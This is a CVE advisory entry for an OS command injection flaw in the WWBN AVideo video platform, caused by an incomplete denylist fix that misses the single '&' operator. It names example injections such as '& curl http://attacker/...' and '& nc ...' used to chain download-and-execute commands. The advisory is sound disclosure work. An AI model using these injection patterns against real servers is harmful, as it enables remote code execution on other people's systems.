CVE-2026-55173

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
Configurations

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History

17 Jul 2026, 14:17

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References () https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f - () https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f -

16 Jul 2026, 21:17

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Information

Published : 2026-07-16 21:17

Updated : 2026-07-17 18:36


NVD link : CVE-2026-55173

Mitre link : CVE-2026-55173

CVE.ORG link : CVE-2026-55173


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CWE
CWE-78

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')